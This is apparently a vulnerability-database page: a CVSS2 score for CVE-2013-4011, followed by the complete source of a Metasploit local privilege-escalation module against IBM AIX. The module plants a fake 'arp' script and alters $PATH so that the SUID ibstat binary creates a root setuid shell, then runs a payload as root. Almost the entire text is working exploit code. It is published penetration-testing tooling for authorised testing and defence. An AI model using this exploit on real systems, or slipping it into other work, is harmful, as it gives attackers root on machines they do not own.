CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
This module exploits the trusted $PATH environment variable of the SUID binary “ibstat”.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ibstat $PATH Privilege Escalation',
'Description' => %q{
This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
},
'Author' => [
'Kristian Erik Hermansen', # original author
'Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>', # Metasploit module
'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>' # Metasploit module
],
'References' => [
['CVE', '2013-4011'],
['OSVDB', '95420'],
['BID', '61287'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756']
],
'Platform' => %w[unix aix],
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'SessionTypes' => %w[shell],
'Targets' => [
['IBM AIX Version 6.1', {}],
['IBM AIX Version 7.1', {}]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2013-09-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def ibstat_path
datastore['IBSTAT_PATH']
end
def check
find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null')
return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat')
CheckCode::Appears("#{ibstat_path} is set-uid root")
end
def exploit
root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"
arp_file = "#{datastore['WritableDir']}/arp"
c_file = %^#include <stdio.h>
int main()
{
setreuid(0,0);
setregid(0,0);
execve("/bin/sh",NULL,NULL);
return 0;
}
^
arp = %(#!/bin/sh
chown root #{root_file}
chmod 4555 #{root_file}
)
if gcc_installed?
print_status("Dropping file #{root_file}.c...")
write_file("#{root_file}.c", c_file)
print_status('Compiling source...')
cmd_exec("gcc -o #{root_file} #{root_file}.c")
print_status('Compilation completed')
register_file_for_cleanup("#{root_file}.c")
else
cmd_exec("cp /bin/sh #{root_file}")
end
register_file_for_cleanup(root_file)
print_status('Writing custom arp file...')
write_file(arp_file, arp)
register_file_for_cleanup(arp_file)
cmd_exec("chmod 0555 #{arp_file}")
print_status('Custom arp file written')
print_status('Updating $PATH environment variable...')
path_env = cmd_exec('echo $PATH')
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH")
cmd_exec('export PATH')
print_status('Finding interface name...')
iface = ''
cmd_exec('lsdev -Cc if').each_line do |line|
next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/)
iface = line.split(/\s+/)[0]
print_status("Found interface #{iface}.")
break
end
if iface == ''
iface = 'en0'
print_status('Found no interface, defaulting to en0.')
end
print_status('Triggering vulnerablity...')
cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null")
# The $PATH variable must be restored before the payload is executed
# in cases where an euid root shell was gained
print_status('Restoring $PATH environment variable...')
cmd_exec("PATH=#{path_env}")
cmd_exec('export PATH')
cmd_exec(root_file)
print_status('Checking root privileges...')
if is_root?
print_status('Executing payload...')
cmd_exec(payload.encoded)
end
end
def gcc_installed?
print_status('Checking if gcc exists...')
gcc_whereis_output = cmd_exec('whereis -b gcc')
if gcc_whereis_output.to_s.include?('/')
print_good('gcc found!')
return true
end
print_status('gcc not found. Using /bin/sh from local system')
false
end
def is_root?
id_output = cmd_exec('id')
if id_output.include?('euid=0(root)')
print_good('Got root! (euid)')
return true
end
if id_output.include?('uid=0(root)')
print_good('Got root!')
return true
end
print_error('Exploit failed')
false
end
end